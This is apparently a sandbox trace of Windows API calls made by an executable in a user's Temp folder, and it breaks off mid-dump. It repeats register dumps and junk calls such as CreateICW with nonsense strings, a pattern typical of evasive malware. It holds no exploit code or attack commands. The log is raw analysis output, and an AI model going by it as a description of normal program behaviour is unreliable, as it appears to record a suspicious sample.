	[0066.287] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.287] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.288] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.288] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.288] GetConsoleCP () returned 0x0
	[0066.288] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.288] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.288] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.288] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.288] GetConsoleCP () returned 0x0
	[0066.288] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 